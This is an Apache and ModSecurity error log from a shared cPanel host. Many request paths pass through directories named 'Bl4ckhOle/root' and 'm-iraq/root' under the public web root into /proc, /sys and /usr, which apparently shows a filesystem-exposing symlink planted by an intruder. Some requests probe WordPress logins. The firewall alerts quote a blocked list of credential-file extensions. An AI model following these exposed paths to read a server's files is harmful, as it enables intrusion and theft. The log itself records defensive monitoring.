[Fri Jul 17 10:22:03.568316 2026] [core:error] [pid 2075978:tid 2075978] (13)Permission denied: [client 57.141.18.114:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory55/subsystem/devices/memory51/subsystem/devices/memory70/subsystem/drivers_probe
[Fri Jul 17 10:22:04.214688 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:04.337123 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:04.358476 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:04.875035 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:04.963495 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:04.981518 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:05.066451 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:05.074799 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:05.175392 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:06.089479 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:06.190348 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:06.714620 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:06.906214 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:07.109995 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:07.316249 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:07.417449 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:07.734224 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:07.972914 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:07.984861 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:08.280920 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:09.108857 2026] [ssl:error] [pid 2076188:tid 2076188] (70014)End of file found: [client 66.85.158.91:45040] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:22:09.747787 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:10.775783 2026] [security2:error] [pid 2075690:tid 2075690] [client 47.82.8.19:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/igbinary.ini"] [unique_id "alm0-hyL4_TKNgi7OLI29wAAAB4"]
[Fri Jul 17 10:22:10.776404 2026] [security2:error] [pid 2075690:tid 2075690] [client 47.82.8.19:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/igbinary.ini"] [unique_id "alm0-hyL4_TKNgi7OLI29wAAAB4"]
[Fri Jul 17 10:22:10.790903 2026] [security2:error] [pid 2075690:tid 2075690] [client 47.82.8.19:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/igbinary.ini"] [unique_id "alm0-hyL4_TKNgi7OLI29wAAAB4"]
[Fri Jul 17 10:22:11.038643 2026] [security2:error] [pid 2075711:tid 2075711] [client 93.152.221.65:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/wp-login.php"] [unique_id "alm0-x3_6y13_d3Np4_4eAAAAAE"]
[Fri Jul 17 10:22:11.039126 2026] [security2:error] [pid 2075711:tid 2075711] [client 93.152.221.65:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/wp-login.php"] [unique_id "alm0-x3_6y13_d3Np4_4eAAAAAE"]
[Fri Jul 17 10:22:11.141253 2026] [security2:error] [pid 2075711:tid 2075711] [client 93.152.221.65:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm0-x3_6y13_d3Np4_4eAAAAAE"]
[Fri Jul 17 10:22:11.329256 2026] [security2:error] [pid 2076194:tid 2076194] [client 93.152.221.65:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/wp-login.php"] [unique_id "alm0-5T6UchYzP7t8WhLPQAAABI"]
[Fri Jul 17 10:22:11.329725 2026] [security2:error] [pid 2076194:tid 2076194] [client 93.152.221.65:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/wp-login.php"] [unique_id "alm0-5T6UchYzP7t8WhLPQAAABI"]
[Fri Jul 17 10:22:11.483558 2026] [security2:error] [pid 2076194:tid 2076194] [client 93.152.221.65:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm0-5T6UchYzP7t8WhLPQAAABI"]
[Fri Jul 17 10:22:11.700784 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:11.902648 2026] [ssl:error] [pid 2075689:tid 2075689] (70014)End of file found: [client 66.85.158.91:41730] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:22:11.980241 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:12.241895 2026] [ssl:error] [pid 2075693:tid 2075693] (70014)End of file found: [client 66.85.158.91:41738] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:22:12.792459 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:12.995983 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:13.096483 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:13.300280 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:13.715282 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:13.928424 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:14.041477 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:14.196965 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:14.207876 2026] [security2:error] [pid 2075723:tid 2075723] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/pdf2dsc"] [unique_id "alm0_kD0S6w5KyU992INCAAAAAM"]
[Fri Jul 17 10:22:14.208285 2026] [security2:error] [pid 2075723:tid 2075723] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/pdf2dsc"] [unique_id "alm0_kD0S6w5KyU992INCAAAAAM"]
[Fri Jul 17 10:22:14.208604 2026] [security2:error] [pid 2075723:tid 2075723] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/pdf2dsc"] [unique_id "alm0_kD0S6w5KyU992INCAAAAAM"]
[Fri Jul 17 10:22:14.216783 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:14.248446 2026] [cgi:error] [pid 2076258:tid 2076258] [client 216.73.216.245:0] AH01215: stderr from /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/doc/perl-CGI/examples/wikipedia_example.cgi: (13)Permission denied: exec of '/home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/doc/perl-CGI/examples/wikipedia_example.cgi' failed
[Fri Jul 17 10:22:14.250935 2026] [cgi:error] [pid 2076258:tid 2076258] [client 216.73.216.245:0] End of script output before headers: wikipedia_example.cgi
[Fri Jul 17 10:22:14.343512 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:14.561789 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:14.650548 2026] [ssl:error] [pid 2076193:tid 2076193] (70014)End of file found: [client 66.85.158.91:41806] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:22:14.693657 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:14.755269 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:14.857685 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:15.054749 2026] [ssl:error] [pid 2075728:tid 2075728] (70014)End of file found: [client 66.85.158.91:41820] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:22:15.074377 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:15.167615 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:15.576028 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:15.670075 2026] [ssl:error] [pid 2075692:tid 2075692] (70014)End of file found: [client 66.85.158.91:41836] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:22:15.676377 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:15.887994 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:15.987025 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:16.090385 2026] [security2:error] [pid 2076188:tid 2076188] [client 57.141.18.114:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory63/node0/memory71/subsystem/devices/memory110/subsystem/devices/memory58/node0/memory19/node0/memory75/"] [unique_id "alm1AMwb7ueECO0vce5snQAAAA8"]
[Fri Jul 17 10:22:16.090427 2026] [security2:error] [pid 2076188:tid 2076188] [client 57.141.18.114:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory63/node0/memory71/subsystem/devices/memory110/subsystem/devices/memory58/node0/memory19/node0/memory75/"] [unique_id "alm1AMwb7ueECO0vce5snQAAAA8"]
[Fri Jul 17 10:22:16.266622 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:16.291635 2026] [cgi:error] [pid 2075908:tid 2075908] [client 216.73.216.245:0] AH01215: stderr from /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/doc/perl-CGI/examples/clickable_image.cgi: (13)Permission denied: exec of '/home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/doc/perl-CGI/examples/clickable_image.cgi' failed
[Fri Jul 17 10:22:16.293858 2026] [cgi:error] [pid 2075908:tid 2075908] [client 216.73.216.245:0] End of script output before headers: clickable_image.cgi
[Fri Jul 17 10:22:16.391988 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:16.501616 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:16.600588 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:16.739792 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:16.805366 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:17.021572 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:17.110125 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:17.215834 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:17.276810 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:17.527094 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:17.728452 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:17.827637 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:17.931934 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:18.052551 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:18.146988 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:18.251006 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:18.354375 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:18.461359 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:18.485115 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:18.573019 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:18.698229 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:18.800836 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:18.904068 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:19.002987 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:19.104987 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:19.206106 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:19.413496 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:19.488805 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:19.511087 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:19.610314 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:19.717790 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:19.816290 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:19.921812 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:20.023064 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:20.123226 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:20.421243 2026] [core:error] [pid 2076194:tid 2076194] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu0/driver/cpu3/node0/compact
[Fri Jul 17 10:22:20.521937 2026] [core:error] [pid 2076193:tid 2076193] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu3/driver/cpu0/node0/compact
[Fri Jul 17 10:22:20.624935 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:20.625105 2026] [core:crit] [pid 2075723:tid 2075723] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/opt/cloudlinux/alt-php-internal/root/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/opt/cloudlinux/alt-php-internal/root/' is executable
[Fri Jul 17 10:22:20.946530 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:21.161086 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:21.251790 2026] [ssl:error] [pid 2075901:tid 2075901] (70014)End of file found: [client 66.85.158.91:34772] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:22:21.364317 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:21.464990 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:21.562714 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:21.970085 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:22.022498 2026] [core:error] [pid 2075718:tid 2075718] (13)Permission denied: [client 47.82.54.173:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/rom
[Fri Jul 17 10:22:22.040554 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:22.184389 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:22.295726 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:22.297623 2026] [ssl:error] [pid 2075690:tid 2075690] (70014)End of file found: [client 66.85.158.91:34800] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:22:22.394966 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:22.496867 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:22.700774 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:22.701931 2026] [security2:error] [pid 2076257:tid 2076257] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/pam/html/sag-configuration-example.html"] [unique_id "alm1BiBQrJXNVyJFnL68DQAAABU"]
[Fri Jul 17 10:22:22.701962 2026] [security2:error] [pid 2076257:tid 2076257] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/pam/html/sag-configuration-example.html"] [unique_id "alm1BiBQrJXNVyJFnL68DQAAABU"]
[Fri Jul 17 10:22:22.804766 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:22.910061 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:23.113227 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:23.151193 2026] [security2:error] [pid 2075904:tid 2075904] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/opt/alt/python-internal/lib64/"] [unique_id "alm1BzuaDdNRw9_WO14xqwAAAAg"]
[Fri Jul 17 10:22:23.151234 2026] [security2:error] [pid 2075904:tid 2075904] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/opt/alt/python-internal/lib64/"] [unique_id "alm1BzuaDdNRw9_WO14xqwAAAAg"]
[Fri Jul 17 10:22:23.224319 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:23.326834 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:23.535174 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:23.770943 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:23.982863 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:24.082849 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:24.090687 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:24.187983 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:24.394068 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:24.494176 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:24.597377 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
